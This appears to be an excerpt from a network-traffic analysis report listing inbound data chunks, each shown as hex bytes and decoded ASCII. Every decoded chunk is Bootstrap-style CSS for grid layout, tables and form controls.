Data Ascii: list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2
,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5r
em}.h2,h2{font-size:2rem}.h

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:44 UTC 299 IN Data Raw: 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 66 69 67 75 72 65 2d 69 6d 67 7b 6d 61 72 67 69 6e 
2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 66 69 67 75 72 65 2d 63 61 70 
74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 30 25 3b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 63 6f 64 65 2c 6b 62 
64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 
6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 
75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 
25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 
Data Ascii: play:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}
code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}c
ode{font-size:87.5%;color:#e83e8c;wor

2021-11-25 16:27:44 UTC 301 IN Data Raw: 2c 2e 63 6f 6c 2d 6c 67 2d 31 30 2c 2e 63 6f 6c 2d 6c 67 2d 31 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 32 2c 2e 63 6f 
6c 2d 6c 67 2d 32 2c 2e 63 6f 6c 2d 6c 67 2d 33 2c 2e 63 6f 6c 2d 6c 67 2d 34 2c 2e 63 6f 6c 2d 6c 67 2d 35 2c 2e 63 6f 
6c 2d 6c 67 2d 36 2c 2e 63 6f 6c 2d 6c 67 2d 37 2c 2e 63 6f 6c 2d 6c 67 2d 38 2c 2e 63 6f 6c 2d 6c 67 2d 39 2c 2e 63 6f 
6c 2d 6c 67 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 
63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 
2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 
2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 
Data Ascii: ,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.
col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,
.col-md

2021-11-25 16:27:44 UTC 302 IN Data Raw: 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 
33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 38 7b 2d 77 65 62 6b 69 74 
2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 7
8 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 
63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 
25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 
65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 
Data Ascii: lex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 
66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-
width:75%}.col-10{-webkit-box-flex:0;-ms-fle

2021-11-25 16:27:44 UTC 303 IN Data Raw: 6f 72 64 65 72 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 31 
33 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 31 7b 6d 
61 72 67 69 6e 2d 6c 65 66 74 3a 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d 6c 
65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 
25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 7
3 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 
61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 
Data Ascii: order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{m
argin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-
6{margin-left:50%}.offset

2021-11-25 16:27:44 UTC 305 IN Data Raw: 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 
2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 
3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 
33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 
77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 3
7 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 
36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 
Data Ascii: :0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 
0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-
width:91.666667%}.col-sm-12{-webkit

2021-11-25 16:27:44 UTC 306 IN Data Raw: 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 
36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 
66 73 65 74 2d 73 6d 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 
74 2d 73 6d 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 73 6
d 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 37 7b 6d 61 72 67 69 6e 2d 
6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 
74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 73 6d 
Data Ascii: 33333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:3
3.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%
}.offset-sm-8{margin-left:66.666667%}.offset-sm

2021-11-25 16:27:44 UTC 307 IN Data Raw: 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 
33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 
33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6d 64 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 
73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 
37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 31 32 7b 2d 77 65 62 6
b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 
30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 
Data Ascii: webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-webkit-
box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 
0 100%;flex:0 0 100%;max-width:100%}

2021-11-25 16:27:44 UTC 309 IN Data Raw: 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 
74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 
31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 
2e 6f 66 66 73 65 74 2d 6d 64 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 
73 65 74 2d 6d 64 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2
d 6d 64 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 31 30 7b 6d 61 72 67 
69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 
Data Ascii: gin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-lef
t:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-
10{margin-left:83.333333%}.of
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2021-11-25 16:27:44 UTC 310 IN Data Raw: 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 31 7b 2d 
77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 
37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 
36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 
6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 
30 25 7d 2e 6f 72 64 65 72 2d 6c 67 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 
72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 
Data Ascii: 3%;max-width:83.333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-
width:91.666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-
box-ordinal-group:0;-ms-flex-order:

2021-11-25 16:27:44 UTC 311 IN Data Raw: 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 6c 67 
2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 6c 67 2d 37 7b 6d 61 72 67 69 6e 2d 
6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 6c 67 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 
74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 6c 67 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 3
5 25 7d 2e 6f 66 66 73 65 74 2d 6c 67 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 
2e 6f 66 66 73 65 74 2d 6c 67 2d 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 31 2e 36 36 36 36 36 37 25 7d 7d 40 
6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 
Data Ascii: -5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-
left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667
%}}@media (min-width:1200px

2021-11-25 16:27:44 UTC 313 IN Data Raw: 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 
36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 31 32 7b 2d 77 65 
62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 
30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 78 6c 2d 66 69 72 73 74 7
b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 6
4 65 72 3a 2d 31 3b 6f 72 64 65 72 3a 2d 31 7d 2e 6f 72 64 65 72 2d 78 6c 2d 6c 61 73 74 7b 2d 77 65 62 6b 69 74 2d 62 
6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 31 34 3b 2d 6d 
Data Ascii: flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 
100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-
webkit-box-ordinal-group:14;-m

2021-11-25 16:27:44 UTC 314 IN Data Raw: 66 73 65 74 2d 78 6c 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 
66 73 65 74 2d 78 6c 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 
74 2d 78 6c 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 31 30 7b 6d 61 
72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 78 6c 2d 31 31 7b 6d 61 72 67 6
9 6e 2d 6c 65 66 74 3a 39 31 2e 36 36 36 36 36 37 25 7d 7d 2e 74 61 62 6c 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 
78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 62 61 63 6b 67 72 6f 75 
6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 
Data Ascii: fset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-
10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;max-width:100%;margin-botto
m:1rem;background-color:transparent}.

2021-11-25 16:27:44 UTC 315 IN Data Raw: 65 73 73 3e 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 63 33 65 36 63 62 7d 2e 74 61 62 
6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 73 75 63 63 65 73 73 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 
2d 63 6f 6c 6f 72 3a 23 62 31 64 66 62 62 7d 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 73 75 63 63 65 
73 73 3a 68 6f 76 65 72 3e 74 64 2c 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 73 75 63 63 65 73 73 3a 
68 6f 76 65 72 3e 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 31 64 66 62 62 7d 2e 74 61 62 6c 65 
2d 69 6e 66 6f 2c 2e 74 61 62 6c 65 2d 69 6e 66 6f 3e 74 64 2c 2e 74 61 62 6c 65 2d 69 6e 66 6f 3e 74 68 7b 62 61 63 6b 
67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 65 65 35 65 
Data Ascii: ess>th{background-color:#c3e6cb}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover 
.table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-
info>th{background-color:#bee5e

2021-11-25 16:27:44 UTC 317 IN Data Raw: 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 37 35 29 7d 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 
6c 65 2d 61 63 74 69 76 65 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 
30 2c 30 2c 2e 30 37 35 29 7d 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 61 63 74 69 76 65 3a 68 6f 76 
65 72 3e 74 64 2c 2e 74 61 62 6c 65 2d 68 6f 76 65 72 20 2e 74 61 62 6c 65 2d 61 63 74 69 76 65 3a 68 6f 76 65 72 3e 74 
68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 37 35 29 7d 2e 74 61 62 
6c 65 20 2e 74 68 65 61 64 2d 64 61 72 6b 20 74 68 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 
63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 
Data Ascii: r:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-ac
tive:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;bac
kground-color:#212529;borde

2021-11-25 16:27:44 UTC 318 IN Data Raw: 78 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 
2d 78 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 6f 76 65 72 66 6c 6f 77 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 
3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 
6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 2d 78 6c 3e 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 
64 7b 62 6f 72 64 65 72 3a 30 7d 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 64 69 73 70 6c 61 79 3a 62 6c 
6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 6f 
76 65 72 66 6c 6f 77 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 
Data Ascii: xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-
scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-
webkit-overflow-scrolling:t

2021-11-25 16:27:44 UTC 319 IN Data Raw: 72 61 6e 67 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 63 6f 6c 2d 
66 6f 72 6d 2d 6c 61 62 65 6c 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 61 6c 63 28 2e 33 37 35 72 65 6d 20 2b 20 31 70 
78 29 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 61 6c 63 28 2e 33 37 35 72 65 6d 20 2b 20 31 70 78 29 3b 6d 61 
72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 
67 68 74 3a 31 2e 35 7d 2e 63 6f 6c 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 6c 67 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 
61 6c 63 28 2e 35 72 65 6d 20 2b 20 31 70 78 29 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 61 6c 63 28 2e 35 72 
65 6d 20 2b 20 31 70 78 29 3b 66 6f 6e 74 2d 73 69 7a 65 
Data Ascii: range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem 
+ 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:
calc(.5rem + 1px);font-size
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2021-11-25 16:27:44 UTC 321 IN Data Raw: 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 73 6d 2c 2e 69 6e 70 75 74 2d 67 
72 6f 75 70 2d 73 6d 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 
6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 
2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 2c 2e 69 
6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 62 74 6e 2c 
2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 69 
6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 7b 70 61 64 64 69 
Data Ascii: ing-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-gr
oup-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-
prepend>.input-group-text{paddi

2021-11-25 16:27:44 UTC 322 IN Data Raw: 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 73 65 6c 65 63 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 
65 78 74 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 3a 6e 6f 74 28 5b 6d 75 6c 74 69 70 6c 65 5d 29 2c 2e 69 6e 70 75 74 2d 67 
72 6f 75 70 2d 6c 67 3e 73 65 6c 65 63 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 3a 
6e 6f 74 28 5b 6d 75 6c 74 69 70 6c 65 5d 29 2c 73 65 6c 65 63 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 67 3a 6e 
6f 74 28 5b 73 69 7a 65 5d 29 3a 6e 6f 74 28 5b 6d 75 6c 74 69 70 6c 65 5d 29 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 32 
2e 38 37 35 72 65 6d 20 2b 20 32 70 78 29 7d 2e 66 6f 72 6d 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 
3a 31 72 65 6d 7d 2e 66 6f 72 6d 2d 74 65 78 74 7b 64 69 
Data Ascii: t-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>select.form-control:not(
[size]):not([multiple]),select.form-control-lg:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-
bottom:1rem}.form-text{di

2021-11-25 16:27:44 UTC 323 IN Data Raw: 6c 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 3a 76 61 6c 69 64 2c 2e 77 61 73 2d 76 61 
6c 69 64 61 74 65 64 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 76 61 6c 69 64 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 
3a 23 32 38 61 37 34 35 7d 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 2e 69 73 2d 76 61 6c 69 64 3a 66 6f 63 75 73 2c 2e 
66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2e 69 73 2d 76 61 6c 69 64 3a 66 6f 63 75 73 2c 2e 77 61 73 2d 76 61 6c 69 64 61 74 
65 64 20 2e 63 75 73 74 6f 6d 2d 73 65 6c 65 63 74 3a 76 61 6c 69 64 3a 66 6f 63 75 73 2c 2e 77 61 73 2d 76 61 6c 69 64 
